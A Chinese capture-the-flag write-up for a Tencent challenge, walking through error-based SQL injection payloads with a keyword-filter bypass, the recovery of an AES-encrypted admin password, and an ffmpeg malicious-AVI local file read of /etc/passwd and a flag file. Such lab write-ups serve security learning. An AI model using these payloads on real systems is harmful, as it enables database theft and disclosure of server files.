上古时代,大洪水降世,毁天灭地。唯有诺亚得到神启,将地球上所有动物各带一对躲入方舟,延续了人类文明的火种。活在现代世界的你,没想到有一天自己也要承担起这样拯救世界的责任。
腾讯安全平台部得到情报,一个黑暗势力正在秘密研制足以毁灭世界的武器,为了掩人耳目,研究的核心文件被放在一个看上去平平无奇的网站上。腾讯方舟计划号召各路英雄,去获取项目的核心文件,守护人类文明拯救世界,而你正是其中一员……
http://123.59.71.217
备用 http://120.132.54.253
image.png
经过尝试发现 , 在注册的时候 , phone 这个参数之后添加单引号会引发报错
image.png
Error:You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version
for the right syntax to use near ''1'')' at line 1
image.png
image.png
猜测注册的SQL如下 :
$sql = "insert into users (username, password, phone) values ('$username', '$password', '$phone')";
这里尝试利用报错注入 :
image.png然后经过尝试发现 , 这里应该是过滤了 from 这个关键字
通过大小写混写也无法绕过
经过大佬提醒尝试使用mysql的条件注释
username=1&
phone=1'|updatexml(1,concat(0x7e,(
select group_concat(schema_name)/*!00000from*/ information_schema.schemata limit 0,1
),0x7e),1))--+&
password=1&
repassword=1
image.png
username=1&
phone=1'|updatexml(1,concat(
0x7e,(
select group_concat(table_name)/*!00000from*/ information_schema.tables
where table_schema='note' limit 0,1
),0x7e)
,1))--+&
password=1&
repassword=1
image.png
image.png
image.png
image.png
Error:XPATH syntax error: '~BjDjgKE8CEk5hA9z9FDH7otvGntinom'
image.png
Error:XPATH syntax error: '~DjgKE8CEk5hA9z9FDH7otvGntinomp~'
因此 secrectkey 应该是
BjDjgKE8CEk5hA9z9FDH7otvGntinomp
然后看看 user 表
image.png这样选择会有问题 , 具体可以参考 :
可以为其取一个别名就可以正常 select 出数据
image.pngError:XPATH syntax error: '~1|fangzh0u|mIiD2wpTUTnWDzJO6d32'
image.png
Error:XPATH syntax error: '~|mIiD2wpTUTnWDzJO6d329w==|~'
我们的目标是 :
id : 1
name : fangzh0u
password : mIiD2wpTUTnWDzJO6d329w==
密码明显被加密过 , 根据之前获取到的 secrectkey 可以推断出
这个 secrectkey 可能就是用来加密明文密码的密匙
我们来注册一个用户测试一下
这里注册了一个用户名 , 密码都为 1 的用户
然后通过注入来得到密码的密文
Error:XPATH syntax error: '~11612|1|9j9Rf1QtQMjIrjNef74UeQ='
队友看出了这个应该是 AES 加密
测试如下 :
http://aes.online-domain-tools.com/
image.png
image.png
id : 1
name : fangzh0u
password : tencent123
image.png
上传一个 avi 的视频 , 服务器会将其转换为 mp4 格式
根据文章 : http://www.freebuf.com/vuls/138377.html
下载利用脚本 , 尝试读取 /etc/passwd 文件
git clone https://github.com/neex/ffmpeg-avi-m3u-xbin.git
无法成功读取 , 但是别的文件是可以正常读取的
image.png队友猜想可能是过滤掉了 /etc/passwd 文件 , 尝试直接读取 php 文件 , 发现是可以正常读取的
队友提示用 /etc/./passwd 来代替 /etc/passwd 成功读取到 passwd 文件
如下图
python3 gen_xbin_avi.py file:///etc/./passwd etc_passwd.avi
image.png
发现存在用户名 :
s0m3b0dy
猜测 flag 在该用户的家目录下
再次利用 freebuf 上的 python 脚本构造畸形 avi 文件
python3 gen_xbin_avi.py file:///home/s0m3b0dy/flag flag.avi
上传 , 服务器处理后下载 mp4 文件即可成功读取到 flag
image.png
网友评论